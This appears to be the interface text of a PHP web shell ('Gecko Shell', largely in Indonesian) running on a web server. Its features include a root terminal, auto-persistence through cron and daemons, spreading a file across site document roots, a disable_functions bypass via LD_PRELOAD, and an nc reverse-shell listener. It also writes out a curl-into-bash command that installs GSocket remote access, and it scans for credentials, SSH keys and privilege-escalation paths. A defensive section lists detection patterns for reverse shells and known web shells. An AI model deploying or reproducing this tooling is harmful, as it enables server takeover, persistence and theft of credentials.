CtrlK

Memuat workspace…

Mengambil daftar file

— — — —

New File

Rename

Permissions (Chmod)

Delete

Copy to folder

Kompres ke ZIP

Upload Files

Seret & lepas file di sini atau klik untuk browse

Upload ke folder saat ini

Ukuran maks: 1024M

Edit File

Preview

Download

Terminal

root
Gecko Shell
~
0cmds
gecko@shell:~
↑↓history ⏎run

Cron Manager

Loading crontab…

Recover File

Created By Major0xPusdiklat: Recover Files + auto persistence (daemon/crontab/tmp/shm)
output — recover
Isi DIR_PATH, FILE_NAME, DOWNLOAD_URL lalu klik Recover.

Find Writable Dir

Cari direktori yang is_writable. Kosongkan path untuk pakai lokasi browse saat ini (atau default /var/www/html).
output — find writable
Klik Find untuk mulai scan.

Mass Copy

Mode eksklusif (hanya satu aktif). v1: Base Path + writable dalam (depth≥2). v2: discovery Symlink. v3: Apache/Nginx sites-enabled (ServerName+DocumentRoot, HTTP+SSL dedupe). Validasi sama: copy → hapus .htaccess → path/url VALID|INVALID.
output — mass copy—
Isi Source File + Base Path lalu klik Spread.

Bypass Functions

LD_PRELOAD + mail() untuk menjalankan perintah saat disable_functions memblokir shell. Payload .so sudah embedded di manager.php — tidak perlu preload.php terpisah. Linux only.
output — bypass functions—
Klik Check Status atau Run Command.

Backconnect

Start listener dulu: nc -lvnp PORT atau rlwrap nc -lvnp PORT
output — backconnect
Ready — connection runs in background.

GSocket

GS_NOCERTCHECK=1 bash -c "$(curl -fsSLk https://gsocket.io/y)"
Installer dari gsocket.io/y. Jika GSRN firewalled, otomatis retry GS_PORT=22 s/d 67.
output — gsocket
Klik Run untuk mengeksekusi installer GSocket.
—

Port Scanner

output — port scan
Enter target and click Scan.

Subdomain / Vhost Hint

Gabungan HTTP_HOST, cPanel/vhost Apache/Nginx, /etc/hosts, dan jejak .env / WordPress di folder scan.
output — vhost hint
Klik Scan untuk mengumpulkan hint subdomain/vhost.
—

Log & History Tail

output — log tail
Pilih preset atau path, lalu Tail.
output — shell history
Klik Load History untuk tail .bash_history / .zsh_history.
—

MySQL Manager

Mengunduh / memuat MySQL Manager…
mysql_manager.php · iframe
OFFSEC

Cyber Security Hub

System Recon

Informasi sistem, user/privilege, batasan PHP, kernel & environment.

output — recon
System info, user/privilege, PHP security restrictions, kernel & env.
Mencari .env, wp-config, SSH keys, .git/config, SQL dumps, credentials…
output — sensitive scan
Klik Scan untuk mulai pencarian.
output — processes
ps aux / tasklist output.
output — network
Listening ports, connections, interfaces.
output — http
HTTP client untuk SSRF / recon testing.
output — hash
Hash output.
output — codec
Encoded/decoded output.
output — dns
DNS records.
Linux: sudo, SUID/GTFOBins, capabilities, writable /etc, docker group, NFS, cron… · Windows: token privileges, UAC, AlwaysInstallElevated, unquoted paths, services, tasks.
output — privesc audit
Pilih audit Linux atau Windows. Di server Linux jalankan Linux; di Windows jalankan Windows.
Cyber Security toolkit
DEFENSE

Blue Team Hub

Backdoor Scanner

Deteksi webshell & backdoor dengan scoring signature. File gecko dikecualikan otomatis.

Scan lebih luas & threshold lebih rendah — risiko false positive lebih tinggi
Quarantine memindahkan file ke .gecko_quarantine/ — bukan hapus permanen. Review hasil sebelum quarantine.
output — backdoor scan
Ready to scan.
0 threats
Quarantine Vault
Folder quarantine: .gecko_quarantine/ — klik Restore untuk kembalikan file.
No quarantined files.
Menjalankan: backdoor scan, recent changes, writable, hidden scripts, cron, IOC, processes, log audit.
output — full audit
Comprehensive assessment — may take several minutes.
output — recent changes
Recently modified PHP/JS/.htaccess files.
output — writable
World-writable files & directories (777 / o+w).
output — hidden files
Dot-files: .htaccess, .user.ini, hidden PHP shells.
Mengecek: crontab, systemd, scheduled tasks, SSH keys, shell profile, .htaccess, .user.ini, PHP auto_prepend, registry Run (Windows).
output — persistence audit
Klik Run untuk audit persistence di server.
output — cron audit
Detects persistence: curl|sh, /dev/tcp, reverse shells…
output — log audit
Failed auth, sudo usage, suspicious web server errors.
output — ioc hunt
Known malicious filenames: c99, r57, wso, b374k, alfa…
output — processes
nc, /dev/tcp, reverse shells, miners, scanners.
Blue Team defensive toolkit

Move to Quarantine

File dipindah ke .gecko_quarantine/ (bukan dihapus). Bisa di-restore kapan saja.

Keyboard Shortcuts

Copy selectedCtrl C
Cut selectedCtrl X
Paste to folderCtrl V
Search filesCtrl K
RefreshF5
Clear selectionEsc
Shortcuts help?
Open first search resultEnter
Copy current pathClick statusbar